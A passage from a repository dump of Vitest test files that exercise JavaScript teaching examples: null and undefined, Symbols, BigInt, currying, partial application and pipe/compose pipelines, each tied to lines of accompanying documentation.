expect(userName ?? 'Guest').toBe('')\n    })\n\n    it('should show mistake of using typeof to check for null', () => {\n      // Source: lines 858-869\n      const value = null\n\n      // ❌ Wrong — never works\n      expect(typeof value === 'null').toBe(false)\n\n      // ✓ Correct — direct comparison\n      expect(value === null).toBe(true)\n    })\n\n    it('should show mistake of not handling both null and undefined', () => {\n      // Source: lines 901-918\n      const checkValue = (value) => {\n        if (value == null) {  // Loose equality catches both\n          return 'No value'\n        }\n        return 'Has value'\n      }\n\n      expect(checkValue(null)).toBe('No value')\n      expect(checkValue(undefined)).toBe('No value')\n    })\n\n    it('should show that Symbol properties are hidden from iteration', () => {\n      // Source: lines 925-939\n      const secret = Symbol('secret')\n      const obj = {\n        visible: 'hello',\n        [secret]: 'hidden'\n      }\n\n      // ❌ Symbol properties are invisible here\n      expect(Object.keys(obj)).toEqual(['visible'])\n      expect(JSON.stringify(obj)).toBe('{\"visible\":\"hello\"}')\n\n      // ✓ Use these to access Symbol properties\n      expect(Object.getOwnPropertySymbols(obj)).toHaveLength(1)\n      expect(Reflect.ownKeys(obj)).toEqual(['visible', secret])\n    })\n  })\n\n  describe('Test Your Knowledge Q&A (lines 973-1080)', () => {\n    it('Q1: should demonstrate difference between null and undefined', () => {\n      // Source: lines 983-992\n      let x          // undefined (uninitialized)\n      let y = null   // null (intentionally empty)\n\n      expect(typeof x).toBe('undefined')\n      expect(typeof y).toBe('object')  // bug!\n\n      expect(x == y).toBe(true)    // loose equality\n      expect(x === y).toBe(false)  // strict equality\n    })\n\n    it('Q2: should show output of || vs ?? expressions', () => {\n      // Source: lines 1006-1010\n      expect(0 || 'fallback').toBe('fallback')   // 0 is falsy\n      expect(0 ?? 'fallback').toBe(0)            // 0 is not nullish\n      expect('' || 'fallback').toBe('fallback')  // '' is falsy\n      expect('' ?? 'fallback').toBe('')          // '' is not nullish\n    })\n\n    it('Q4: should check for null OR undefined in one condition', () => {\n      // Source: lines 1029-1032\n      const checkNull = (value) => value == null\n      \n      expect(checkNull(null)).toBe(true)\n      expect(checkNull(undefined)).toBe(true)\n      expect(checkNull(0)).toBe(false)\n      expect(checkNull('')).toBe(false)\n    })\n\n    it('Q5: should show difference between Symbol() and Symbol.for()', () => {\n      // Source: lines 1050-1057\n      expect(Symbol('id') === Symbol('id')).toBe(false)\n      expect(Symbol.for('id') === Symbol.for('id')).toBe(true)\n    })\n\n    it('Q6: should demonstrate why BigInt and Number cannot be mixed', () => {\n      // Source: lines 1067-1073\n      expect(() => 10n + 5).toThrow(TypeError)\n\n      // Fix by converting to same type\n      expect(10n + BigInt(5)).toBe(15n)\n      expect(Number(10n) + 5).toBe(15)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functional-programming/currying-composition/currying-composition.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Currying & Composition', () => {\n  describe('Basic Currying', () => {\n    describe('Manual Currying with Arrow Functions', () => {\n      it('should create a curried function with arrow syntax', () => {\n        const add = a => b => c => a + b + c\n        \n        expect(add(1)(2)(3)).toBe(6)\n      })\n\n      it('should allow partial application at each step', () => {\n        const add = a => b => c => a + b + c\n        \n        const add1 = add(1)       // Returns b => c => 1 + b + c\n        const add1and2 = add1(2)  // Returns c => 1 + 2 + c\n        const result = add1and2(3) // Returns 6\n        \n        expect(typeof add1).toBe('function')\n        expect(typeof add1and2).toBe('function')\n        expect(result).toBe(6)\n      })\n\n      it('should demonstrate closures preserving arguments', () => {\n        const multiply = a => b => a * b\n        \n        const double = multiply(2)\n        const triple = multiply(3)\n        \n        expect(double(5)).toBe(10)\n        expect(triple(5)).toBe(15)\n        expect(double(10)).toBe(20)\n        expect(triple(10)).toBe(30)\n      })\n    })\n\n    describe('Traditional Function Currying', () => {\n      it('should work with traditional function syntax', () => {\n        function curriedAdd(a) {\n          return function(b) {\n            return function(c) {\n              return a + b + c\n            }\n          }\n        }\n        \n        expect(curriedAdd(1)(2)(3)).toBe(6)\n      })\n    })\n\n    describe('Pizza Restaurant Example', () => {\n      it('should demonstrate the pizza ordering pattern', () => {\n        const orderPizza = size => crust => topping => {\n          return `${size} ${crust}-crust ${topping} pizza`\n        }\n        \n        expect(orderPizza(\"Large\")(\"Thin\")(\"Pepperoni\"))\n          .toBe(\"Large Thin-crust Pepperoni pizza\")\n      })\n\n      it('should allow creating reusable order templates', () => {\n        const orderPizza = size => crust => topping => {\n          return `${size} ${crust}-crust ${topping} pizza`\n        }\n        \n        const orderLarge = orderPizza(\"Large\")\n        const orderLargeThin = orderLarge(\"Thin\")\n        \n        expect(orderLargeThin(\"Mushroom\")).toBe(\"Large Thin-crust Mushroom pizza\")\n        expect(orderLargeThin(\"Hawaiian\")).toBe(\"Large Thin-crust Hawaiian pizza\")\n      })\n    })\n  })\n\n  describe('Curry Helper Implementation', () => {\n    describe('Basic Two-Argument Curry', () => {\n      it('should curry a two-argument function', () => {\n        function curry(fn) {\n          return function(a) {\n            return function(b) {\n              return fn(a, b)\n            }\n          }\n        }\n        \n        const add = (a, b) => a + b\n        const curriedAdd = curry(add)\n        \n        expect(curriedAdd(1)(2)).toBe(3)\n      })\n    })\n\n    describe('Advanced Curry (Any Number of Arguments)', () => {\n      const curry = fn => {\n        return function curried(...args) {\n          if (args.length >= fn.length) {\n            return fn.apply(this, args)\n          }\n          return (...nextArgs) => curried.apply(this, args.concat(nextArgs))\n        }\n      }\n\n      it('should support full currying', () => {\n        const sum = (a, b, c) => a + b + c\n        const curriedSum = curry(sum)\n        \n        expect(curriedSum(1)(2)(3)).toBe(6)\n      })\n\n      it('should support normal function calls', () => {\n        const sum = (a, b, c) => a + b + c\n        const curriedSum = curry(sum)\n        \n        expect(curriedSum(1, 2, 3)).toBe(6)\n      })\n\n      it('should support mixed calling styles', () => {\n        const sum = (a, b, c) => a + b + c\n        const curriedSum = curry(sum)\n        \n        expect(curriedSum(1, 2)(3)).toBe(6)\n        expect(curriedSum(1)(2, 3)).toBe(6)\n      })\n\n      it('should work with functions of different arities', () => {\n        const add2 = (a, b) => a + b\n        const add4 = (a, b, c, d) => a + b + c + d\n        \n        const curriedAdd2 = curry(add2)\n        const curriedAdd4 = curry(add4)\n        \n        expect(curriedAdd2(1)(2)).toBe(3)\n        expect(curriedAdd4(1)(2)(3)(4)).toBe(10)\n        expect(curriedAdd4(1, 2)(3, 4)).toBe(10)\n      })\n    })\n\n    describe('curryN (Explicit Arity)', () => {\n      const curryN = (fn, arity) => {\n        return function curried(...args) {\n          if (args.length >= arity) {\n            return fn(...args)\n          }\n          return (...nextArgs) => curried(...args, ...nextArgs)\n        }\n      }\n\n      it('should curry variadic functions with explicit arity', () => {\n        const sum = (...nums) => nums.reduce((a, b) => a + b, 0)\n        \n        const curriedSum3 = curryN(sum, 3)\n        const curriedSum5 = curryN(sum, 5)\n        \n        expect(curriedSum3(1)(2)(3)).toBe(6)\n        expect(curriedSum5(1)(2)(3)(4)(5)).toBe(15)\n      })\n    })\n  })\n\n  describe('Currying vs Partial Application', () => {\n    describe('Currying (One Argument at a Time)', () => {\n      it('should demonstrate currying with unary functions', () => {\n        const curriedAdd = a => b => c => a + b + c\n        \n        // Each call takes exactly ONE argument\n        const step1 = curriedAdd(1)  // Returns function\n        const step2 = step1(2)       // Returns function\n        const step3 = step2(3)       // Returns 6\n        \n        expect(typeof step1).toBe('function')\n        expect(typeof step2).toBe('function')\n        expect(step3).toBe(6)\n      })\n    })\n\n    describe('Partial Application (Fix Some Args)', () => {\n      const partial = (fn, ...presetArgs) => {\n        return (...laterArgs) => fn(...presetArgs, ...laterArgs)\n      }\n\n      it('should fix some arguments upfront', () => {\n        const greet = (greeting, punctuation, name) => {\n          return `${greeting}, ${name}${punctuation}`\n        }\n        \n        const greetExcitedly = partial(greet, \"Hello\", \"!\")\n        \n        expect(greetExcitedly(\"Alice\")).toBe(\"Hello, Alice!\")\n        expect(greetExcitedly(\"Bob\")).toBe(\"Hello, Bob!\")\n      })\n\n      it('should take remaining arguments together, not one at a time', () => {\n        const add = (a, b, c, d) => a + b + c + d\n        \n        const add10 = partial(add, 10)\n        \n        // Takes remaining 3 args at once\n        expect(add10(1, 2, 3)).toBe(16)\n      })\n\n      it('should differ from currying in how arguments are collected', () => {\n        const add = (a, b, c) => a + b + c\n        \n        // Curried: takes args one at a time\n        const curriedAdd = a => b => c => a + b + c\n        \n        // Partial: fixes some args, takes rest together\n        const add1 = partial(add, 1)\n        \n        // Curried needs 3 calls\n        expect(curriedAdd(1)(2)(3)).toBe(6)\n        \n        // Partial takes remaining in one call\n        expect(add1(2, 3)).toBe(6)\n      })\n    })\n  })\n\n  describe('Real-World Currying Patterns', () => {\n    describe('Configurable Logger', () => {\n      it('should create specialized loggers', () => {\n        const logs = []\n        \n        const createLogger = level => prefix => message => {\n          const logEntry = `[${level}] ${prefix}: ${message}`\n          logs.push(logEntry)\n          return logEntry\n        }\n        \n        const infoLogger = createLogger('INFO')('App')\n        const errorLogger = createLogger('ERROR')('App')\n        \n        expect(infoLogger('Started')).toBe('[INFO] App: Started')\n        expect(errorLogger('Failed')).toBe('[ERROR] App: Failed')\n      })\n    })\n\n    describe('API Client Factory', () => {\n      it('should create specialized API clients', () => {\n        const createApiUrl = baseUrl => endpoint => params => {\n          const queryString = new URLSearchParams(params).toString()\n          return `${baseUrl}${endpoint}${queryString ? '?' + queryString : ''}`\n        }\n        \n        const githubApi = createApiUrl('https://api.github.com')\n        const getUsers = githubApi('/users')\n        \n        expect(getUsers({})).toBe('https://api.github.com/users')\n        expect(getUsers({ per_page: 10 })).toBe('https://api.github.com/users?per_page=10')\n      })\n    })\n\n    describe('Validation Functions', () => {\n      it('should create reusable validators', () => {\n        const isGreaterThan = min => value => value > min\n        const isLessThan = max => value => value < max\n        const hasLength = length => str => str.length === length\n        \n        const isAdult = isGreaterThan(17)\n        const isValidAge = isLessThan(120)\n        const isValidZipCode = hasLength(5)\n        \n        expect(isAdult(18)).toBe(true)\n        expect(isAdult(15)).toBe(false)\n        expect(isValidAge(50)).toBe(true)\n        expect(isValidAge(150)).toBe(false)\n        expect(isValidZipCode('12345')).toBe(true)\n        expect(isValidZipCode('1234')).toBe(false)\n      })\n\n      it('should work with array methods', () => {\n        const isGreaterThan = min => value => value > min\n        const isAdult = isGreaterThan(17)\n        \n        const ages = [15, 22, 45, 8, 67]\n        const adults = ages.filter(isAdult)\n        \n        expect(adults).toEqual([22, 45, 67])\n      })\n    })\n\n    describe('Discount Calculator', () => {\n      it('should create specialized discount functions', () => {\n        const applyDiscount = discountPercent => price => {\n          return price * (1 - discountPercent / 100)\n        }\n        \n        const tenPercentOff = applyDiscount(10)\n        const twentyPercentOff = applyDiscount(20)\n        const blackFridayDeal = applyDiscount(50)\n        \n        expect(tenPercentOff(100)).toBe(90)\n        expect(twentyPercentOff(100)).toBe(80)\n        expect(blackFridayDeal(100)).toBe(50)\n      })\n\n      it('should work with array map', () => {\n        const applyDiscount = discountPercent => price => {\n          return price * (1 - discountPercent / 100)\n        }\n        \n        const tenPercentOff = applyDiscount(10)\n        const prices = [100, 200, 50, 75]\n        \n        const discountedPrices = prices.map(tenPercentOff)\n        \n        expect(discountedPrices).toEqual([90, 180, 45, 67.5])\n      })\n    })\n\n    describe('Event Handler Configuration', () => {\n      it('should configure event handlers step by step', () => {\n        const handlers = []\n        \n        const handleEvent = eventType => elementId => callback => {\n          const handler = { eventType, elementId, callback }\n          handlers.push(handler)\n          return handler\n        }\n        \n        const onClick = handleEvent('click')\n        const onClickButton = onClick('myButton')\n        \n        const handler = onClickButton(() => 'clicked!')\n        \n        expect(handler.eventType).toBe('click')\n        expect(handler.elementId).toBe('myButton')\n        expect(handler.callback()).toBe('clicked!')\n      })\n    })\n  })\n\n  describe('Function Composition', () => {\n    describe('pipe() Implementation', () => {\n      const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n\n      it('should compose functions left-to-right', () => {\n        const add1 = x => x + 1\n        const double = x => x * 2\n        const square = x => x * x\n        \n        const process = pipe(add1, double, square)\n        \n        // 5 → 6 → 12 → 144\n        expect(process(5)).toBe(144)\n      })\n\n      it('should process single functions', () => {\n        const double = x => x * 2\n        const process = pipe(double)\n        \n        expect(process(5)).toBe(10)\n      })\n\n      it('should handle identity when empty', () => {\n        const pipe = (...fns) => x => fns.length ? fns.reduce((acc, fn) => fn(acc), x) : x\n        const identity = pipe()\n        \n        expect(identity(5)).toBe(5)\n      })\n    })\n\n    describe('compose() Implementation', () => {\n      const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x)\n\n      it('should compose functions right-to-left', () => {\n        const add1 = x => x + 1\n        const double = x => x * 2\n        const square = x => x * x\n        \n        // Functions listed in reverse execution order\n        const process = compose(square, double, add1)\n        \n        // 5 → 6 → 12 → 144 (same result as pipe(add1, double, square))\n        expect(process(5)).toBe(144)\n      })\n\n      it('should be equivalent to pipe with reversed arguments', () => {\n        const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n        const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x)\n        \n        const add1 = x => x + 1\n        const double = x => x * 2\n        \n        const piped = pipe(add1, double)\n        const composed = compose(double, add1)\n        \n        expect(piped(5)).toBe(composed(5))\n      })\n    })\n\n    describe('String Transformation Pipeline', () => {\n      const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n\n      it('should transform strings through a pipeline', () => {\n        const getName = obj => obj.name\n        const trim = str => str.trim()\n        const toUpperCase = str => str.toUpperCase()\n        const addExclaim = str => str + '!'\n        \n        const shout = pipe(getName, trim, toUpperCase, addExclaim)\n        \n        expect(shout({ name: '  alice  ' })).toBe('ALICE!')\n      })\n\n      it('should convert to camelCase', () => {\n        const trim = str => str.trim()\n        const toLowerCase = str => str.toLowerCase()\n        const splitWords = str => str.split(' ')\n        const capitalizeFirst = words => words.map((w, i) => \n          i === 0 ? w : w[0].toUpperCase() + w.slice(1)\n        )\n        const joinWords = words => words.join('')\n        \n        const toCamelCase = pipe(\n          trim,\n          toLowerCase,\n          splitWords,\n          capitalizeFirst,\n          joinWords\n        )\n        \n        expect(toCamelCase('  HELLO WORLD  ')).toBe('helloWorld')\n        expect(toCamelCase('my variable name')).toBe('myVariableName')\n      })\n    })\n\n    describe('Data Transformation Pipeline', () => {\n      const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n\n      it('should process array data through pipeline', () => {\n        const users = [\n          { name: 'Alice', age: 25, active: true },\n          { name: 'Bob', age: 17, active: true },\n          { name: 'Charlie', age: 30, active: false },\n          { name: 'Diana', age: 22, active: true }\n        ]\n        \n        const processUsers = pipe(\n          users => users.filter(u => u.active),\n          users => users.filter(u => u.age >= 18),\n          users => users.map(u => u.name),\n          names => names.sort()\n        )\n        \n        expect(processUsers(users)).toEqual(['Alice', 'Diana'])\n      })\n    })\n  })\n\n  describe('Currying + Composition Together', () => {\n    const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n\n    describe('Data-Last Parameter Order', () => {\n      it('should enable composition with data-last curried functions', () => {\n        const map = fn => arr => arr.map(fn)\n        const filter = fn => arr => arr.filter(fn)\n        \n        const double = x => x * 2\n        const isEven = x => x % 2 === 0\n        \n        const doubleEvens = pipe(\n          filter(isEven),\n          map(double)\n        )\n        \n        expect(doubleEvens([1, 2, 3, 4, 5, 6])).toEqual([4, 8, 12])\n      })\n\n      it('should show why data-first is harder to compose', () => {\n        // Data-first: harder to compose\n        const mapFirst = (arr, fn) => arr.map(fn)\n        const filterFirst = (arr, fn) => arr.filter(fn)\n        \n        // Can't easily pipe these without wrapping\n        const double = x => x * 2\n        const isEven = x => x % 2 === 0\n        \n        // Would need manual wrapping:\n        const result = mapFirst(filterFirst([1, 2, 3, 4, 5, 6], isEven), double)\n        expect(result).toEqual([4, 8, 12])\n      })\n    })\n\n    describe('Curried Functions in Pipelines', () => {\n      it('should compose curried arithmetic functions', () => {\n        const add = a => b => a + b\n        const multiply = a => b => a * b\n        const subtract = a => b => b - a\n        \n        const add5 = add(5)\n        const double = multiply(2)\n        const subtract3 = subtract(3)\n        \n        const process = pipe(add5, double, subtract3)\n        \n        // 10 → 15 → 30 → 27\n        expect(process(10)).toBe(27)\n      })\n\n      it('should demonstrate point-free style', () => {\n        const prop = key => obj => obj[key]\n        const toUpper = str => str.toUpperCase()\n        \n        // Point-free: no explicit data parameter\n        const getUpperName = pipe(\n          prop('name'),\n          toUpper\n        )\n        \n        expect(getUpperName({ name: 'alice' })).toBe('ALICE')\n        expect(getUpperName({ name: 'bob' })).toBe('BOB')\n      })\n    })\n\n    describe('Complex Pipeline with Currying', () => {\n      it('should process user data through curried pipeline', () => {\n        const prop = key => obj => obj[key]\n        const map = fn => arr => arr.map(fn)\n        const filter = pred => arr => arr.filter(pred)\n        const sort = compareFn => arr => [...arr].sort(compareFn)\n        const take = n => arr => arr.slice(0, n)\n        \n        const users = [\n          { id: 1, name: 'Zara', score: 85 },\n          { id: 2, name: 'Alice', score: 92 },\n          { id: 3, name: 'Bob', score: 78 },\n          { id: 4, name: 'Charlie', score: 95 }\n        ]\n        \n        const getTopScorers = pipe(\n          filter(u => u.score >= 80),\n          sort((a, b) => b.score - a.score),\n          take(2),\n          map(prop('name'))\n        )\n        \n        expect(getTopScorers(users)).toEqual(['Charlie', 'Alice'])\n      })\n    })\n  })\n\n  describe('Interview Questions', () => {\n    describe('Implement sum(1)(2)(3)...(n)()', () => {\n      it('should return sum when called with no arguments', () => {\n        function sum(a) {\n          return function next(b) {\n            if (b === undefined) {\n              return a\n            }\n            return sum(a + b)\n          }\n        }\n        \n        expect(sum(1)(2)(3)()).toBe(6)\n        expect(sum(1)(2)(3)(4)(5)()).toBe(15)\n        expect(sum(10)()).toBe(10)\n      })\n    })\n\n    describe('Infinite Currying with valueOf', () => {\n      it('should return sum when coerced to number', () => {\n        function sum(a) {\n          const fn = b => sum(a + b)\n          fn.valueOf = () => a\n          return fn\n        }\n        \n        expect(+sum(1)(2)(3)).toBe(6)\n        expect(+sum(1)(2)(3)(4)(5)).toBe(15)\n      })\n    })\n\n    describe('Fix map + parseInt Issue', () => {\n      it('should demonstrate the problem', () => {\n        const result = ['1', '2', '3'].map(parseInt)\n        // parseInt receives (value, index, array)\n        // parseInt('1', 0) → 1\n        // parseInt('2', 1) → NaN (base 1 is invalid)\n        // parseInt('3', 2) → NaN (3 is not valid in base 2)\n        expect(result).toEqual([1, NaN, NaN])\n      })\n\n      it('should fix with unary wrapper', () => {\n        const unary = fn => arg => fn(arg)\n        \n        const result = ['1', '2', '3'].map(unary(parseInt))\n        expect(result).toEqual([1, 2, 3])\n      })\n    })\n  })\n\n  describe('Common Mistakes', () => {\n    describe('Forgetting Curried Functions Return Functions', () => {\n      it('should demonstrate the mistake', () => {\n        const add = a => b => a + b\n        \n        // Mistake: forgot second call\n        const result = add(1)\n        \n        expect(typeof result).toBe('function')\n        expect(result).not.toBe(1)  // Not a number!\n        \n        // Correct\n        expect(add(1)(2)).toBe(3)\n      })\n    })\n\n    describe('fn.length with Rest Parameters', () => {\n      it('should show fn.length is 0 for rest parameters', () => {\n        function withRest(...args) {\n          return args.reduce((a, b) => a + b, 0)\n        }\n        \n        function withDefault(a, b = 2) {\n          return a + b\n        }\n        \n        expect(withRest.length).toBe(0)\n        expect(withDefault.length).toBe(1)  // Only counts params before default\n      })\n    })\n\n    describe('Type Mismatches in Pipelines', () => {\n      const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n\n      it('should show type mismatch issues', () => {\n        const getAge = obj => obj.age    // Returns number\n        const getLength = arr => arr.length  // Expects array\n        \n        // This would cause issues\n        const broken = pipe(getAge, getLength)\n        \n        // Numbers have no .length property\n        expect(broken({ age: 25 })).toBe(undefined)\n      })\n    })\n  })\n\n  describe('Vanilla JS Utility Functions', () => {\n    describe('Complete Utility Set', () => {\n      // Curry\n      const curry = fn => {\n        return function curried(...args) {\n          return args.length >= fn.length\n            ? fn(...args)\n            : (...next) => curried(...args, ...next)\n        }\n      }\n\n      // Pipe and Compose\n      const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n      const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x)\n\n      // Partial Application\n      const partial = (fn, ...presetArgs) => (...laterArgs) => fn(...presetArgs, ...laterArgs)\n\n      // Data-last utilities\n      const map = fn => arr => arr.map(fn)\n      const filter = fn => arr => arr.filter(fn)\n      const reduce = (fn, initial) => arr => arr.reduce(fn, initial)\n\n      it('should demonstrate all utilities working together', () => {\n        const sum = (a, b, c) => a + b + c\n        const curriedSum = curry(sum)\n        \n        expect(curriedSum(1)(2)(3)).toBe(6)\n        expect(curriedSum(1, 2)(3)).toBe(6)\n        \n        const double = x => x * 2\n        const add1 = x => x + 1\n        \n        const process = pipe(add1, double)\n        expect(process(5)).toBe(12)\n        \n        const processReverse = compose(add1, double)\n        expect(processReverse(5)).toBe(11)  // double first, then add1\n        \n        const greet = (greeting, name) => `${greeting}, ${name}!`\n        const sayHello = partial(greet, 'Hello')\n        expect(sayHello('Alice')).toBe('Hello, Alice!')\n        \n        const nums = [1, 2, 3, 4, 5]\n        const isEven = x => x % 2 === 0\n        \n        const sumOfDoubledEvens = pipe(\n          filter(isEven),\n          map(double),\n          reduce((a, b) => a + b, 0)\n        )\n        \n        expect(sumOfDoubledEvens(nums)).toBe(12)  // [2,4] → [4,8] → 12\n      })\n    })\n  })\n\n  describe('Practical Examples from Documentation', () => {\n    const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n\n    describe('Logging Factory', () => {\n      it('should create specialized loggers from documentation example', () => {\n        const logs = []\n        \n        const createLogger = level => withTimestamp => message => {\n          const timestamp = withTimestamp ? '2024-01-15T10:30:00Z' : ''\n          const logEntry = `[${level}]${timestamp ? ' ' + timestamp : ''} ${message}`\n          logs.push(logEntry)\n          return logEntry\n        }\n        \n        const info = createLogger('INFO')(true)\n        const quickLog = createLogger('LOG')(false)\n        \n        expect(info('Application started')).toBe('[INFO] 2024-01-15T10:30:00Z Application started')\n        expect(quickLog('Quick debug')).toBe('[LOG] Quick debug')\n      })\n    })\n\n    describe('Assembly Line Pipeline', () => {\n      it('should transform user data as shown in documentation', () => {\n        const getName = obj => obj.name\n        const trim = str => str.trim()\n        const toLowerCase = str => str.toLowerCase()\n        \n        const processUser = pipe(getName, trim, toLowerCase)\n        \n        expect(processUser({ name: '  ALICE  ' })).toBe('alice')\n      })\n    })\n  })\n\n  describe('Additional Documentation Examples', () => {\n    const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n    const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x)\n\n    describe('Real-World Pipeline: Processing API Data (doc lines 729-756)', () => {\n      it('should process API response through complete pipeline', () => {\n        // Mock API response matching documentation example\n        const apiResponse = {\n          data: [\n            { id: 1, firstName: 'Charlie', lastName: 'Brown', email: 'charlie@test.com', isActive: true },\n            { id: 2, firstName: 'Alice', lastName: 'Smith', email: 'alice@test.com', isActive: false },\n            { id: 3, firstName: 'Bob', lastName: 'Jones', email: 'bob@test.com', isActive: true },\n            { id: 4, firstName: 'Diana', lastName: 'Prince', email: 'diana@test.com', isActive: true },\n            { id: 5, firstName: 'Eve', lastName: 'Wilson', email: 'eve@test.com', isActive: true },\n            { id: 6, firstName: 'Frank', lastName: 'Miller', email: 'frank@test.com', isActive: true },\n            { id: 7, firstName: 'Grace', lastName: 'Lee', email: 'grace@test.com', isActive: true },\n            { id: 8, firstName: 'Henry', lastName: 'Taylor', email: 'henry@test.com', isActive: true },\n            { id: 9, firstName: 'Ivy', lastName: 'Chen', email: 'ivy@test.com', isActive: true },\n            { id: 10, firstName: 'Jack', lastName: 'Davis', email: 'jack@test.com', isActive: true },\n            { id: 11, firstName: 'Kate', lastName: 'Moore', email: 'kate@test.com', isActive: true },\n            { id: 12, firstName: 'Leo', lastName: 'Garcia', email: 'leo@test.com', isActive: true }\n          ]\n        }\n\n        // Transform API response into display format (matching doc example)\n        const processApiResponse = pipe(\n          // Extract data from response\n          response => response.data,\n          \n          // Filter active users only\n          users => users.filter(u => u.isActive),\n          \n          // Sort by name (using lastName for sorting)\n          users => users.sort((a, b) => a.firstName.localeCompare(b.firstName)),\n          \n          // Transform to display format\n          users => users.map(u => ({\n            id: u.id,\n            displayName: `${u.firstName} ${u.lastName}`,\n            email: u.email\n          })),\n          \n          // Take first 10\n          users => users.slice(0, 10)\n        )\n\n        const result = processApiResponse(apiResponse)\n        \n        // Verify pipeline worked correctly\n        expect(result).toHaveLength(10)\n        \n        // Alice was filtered out (isActive: false)\n        expect(result.find(u => u.displayName === 'Alice Smith')).toBeUndefined()\n        \n        // First user should be Bob (alphabetically first among active users)\n        expect(result[0].displayName).toBe('Bob Jones')\n        \n        // Verify display format\n        expect(result[0]).toHaveProperty('id')\n        expect(result[0]).toHaveProperty('displayName')\n        expect(result[0]).toHaveProperty('email')\n        \n        // Verify sorting (alphabetical by firstName)\n        const names = result.map(u => u.displayName.split(' ')[0])\n        const sortedNames = [...names].sort()\n        expect(names).toEqual(sortedNames)\n      })\n    })\n\n    describe('compose() Direction Example (doc lines 658-664)', () => {\n      it('should process right-to-left with getName/toUpperCase/addExclaim', () => {\n        const getName = obj => obj.name\n        const toUpperCase = str => str.toUpperCase()\n        const addExclaim = str => str + '!'\n\n        // compose processes right-to-left\n        const shout = compose(addExclaim, toUpperCase, getName)\n        \n        expect(shout({ name: 'alice' })).toBe('ALICE!')\n        \n        // This is equivalent to nested calls:\n        const manualResult = addExclaim(toUpperCase(getName({ name: 'alice' })))\n        expect(shout({ name: 'alice' })).toBe(manualResult)\n      })\n    })\n\n    describe('pipe/compose Equivalence (doc lines 669-672)', () => {\n      it('should produce same result: pipe(a, b, c)(x) === compose(c, b, a)(x)', () => {\n        const a = x => x + 1\n        const b = x => x * 2\n        const c = x => x - 3\n        \n        const input = 10\n        \n        // pipe: a first, then b, then c\n        const pipedResult = pipe(a, b, c)(input)\n        \n        // compose: c(b(a(x))) - reversed argument order\n        const composedResult = compose(c, b, a)(input)\n        \n        expect(pipedResult).toBe(composedResult)\n        \n        // Verify the actual value: (10 + 1) * 2 - 3 = 19\n        expect(pipedResult).toBe(19)\n      })\n\n      it('should demonstrate both directions with same functions', () => {\n        const add5 = x => x + 5\n        const double = x => x * 2\n        const square = x => x * x\n        \n        const input = 3\n        \n        // pipe(add5, double, square)(3) = ((3 + 5) * 2)² = 256\n        expect(pipe(add5, double, square)(input)).toBe(256)\n        \n        // compose(add5, double, square)(3) = (3² * 2) + 5 = 23\n        expect(compose(add5, double, square)(input)).toBe(23)\n        \n        // To get same result with compose, reverse the order\n        expect(compose(square, double, add5)(input)).toBe(256)\n      })\n    })\n\n    describe('Why Multi-Argument Functions Do Not Compose (doc lines 769-775)', () => {\n      it('should demonstrate NaN problem with non-curried functions', () => {\n        const add = (a, b) => a + b\n        const multiply = (a, b) => a * b\n\n        // This doesn't work as expected!\n        const addThenMultiply = pipe(add, multiply)\n        \n        // When called: add(1, 2) returns 3\n        // Then multiply(3) is called with only one argument\n        // multiply(3, undefined) = 3 * undefined = NaN\n        const result = addThenMultiply(1, 2)\n        \n        expect(result).toBeNaN()\n      })\n\n      it('should work correctly with curried versions', () => {\n        // Curried versions\n        const add = a => b => a + b\n        const multiply = a => b => a * b\n\n        // Now we can compose!\n        const add5 = add(5)         // x => 5 + x\n        const double = multiply(2)  // x => 2 * x\n\n        const add5ThenDouble = pipe(add5, double)\n        \n        // (10 + 5) * 2 = 30\n        expect(add5ThenDouble(10)).toBe(30)\n      })\n    })\n\n    describe('Data-First vs Data-Last Argument Order (doc lines 984-994)', () => {\n      it('should show data-first makes composition harder', () => {\n        // Data-first: hard to compose\n        const multiplyFirst = (value, factor) => value * factor\n        \n        // Can't easily create a reusable \"double\" function for pipelines\n        // Would need to wrap it:\n        const doubleFirst = value => multiplyFirst(value, 2)\n        const tripleFirst = value => multiplyFirst(value, 3)\n        \n        // Works, but requires manual wrapping each time\n        expect(pipe(doubleFirst, tripleFirst)(5)).toBe(30)\n      })\n\n      it('should show data-last composes naturally', () => {\n        // Data-last: composes well\n        const multiply = factor => value => value * factor\n\n        const double = multiply(2)\n        const triple = multiply(3)\n\n        // Composes naturally without any wrapping\n        expect(pipe(double, triple)(5)).toBe(30)\n        \n        // Can easily create new specialized functions\n        const quadruple = multiply(4)\n        expect(pipe(double, quadruple)(5)).toBe(40)\n      })\n    })\n\n    describe('Manual Composition with Nested Calls (doc lines 526-538)', () => {\n      it('should work with nested function calls', () => {\n        const add10 = x => x + 10\n        const multiply2 = x => x * 2\n        const subtract5 = x => x - 5\n\n        // Manual composition (nested calls)\n        // Step by step: 5 → 15 → 30 → 25\n        const result = subtract5(multiply2(add10(5)))\n        \n        expect(result).toBe(25)\n      })\n\n      it('should produce same result with compose function', () => {\n        const add10 = x => x + 10\n        const multiply2 = x => x * 2\n        const subtract5 = x => x - 5\n\n        // With a compose function\n        const composed = compose(subtract5, multiply2, add10)\n        \n        expect(composed(5)).toBe(25)\n        \n        // Verify it matches manual nesting\n        const manual = subtract5(multiply2(add10(5)))\n        expect(composed(5)).toBe(manual)\n      })\n\n      it('should be more readable with pipe', () => {\n        const add10 = x => x + 10\n        const multiply2 = x => x * 2\n        const subtract5 = x => x - 5\n\n        // With pipe (reads in execution order)\n        const piped = pipe(add10, multiply2, subtract5)\n        \n        expect(piped(5)).toBe(25)\n      })\n    })\n\n    describe('Opening Example from Documentation (doc lines 9-20)', () => {\n      it('should demonstrate the opening currying example', () => {\n        // Currying: one argument at a time\n        const add = a => b => c => a + b + c\n        expect(add(1)(2)(3)).toBe(6)\n      })\n\n      it('should 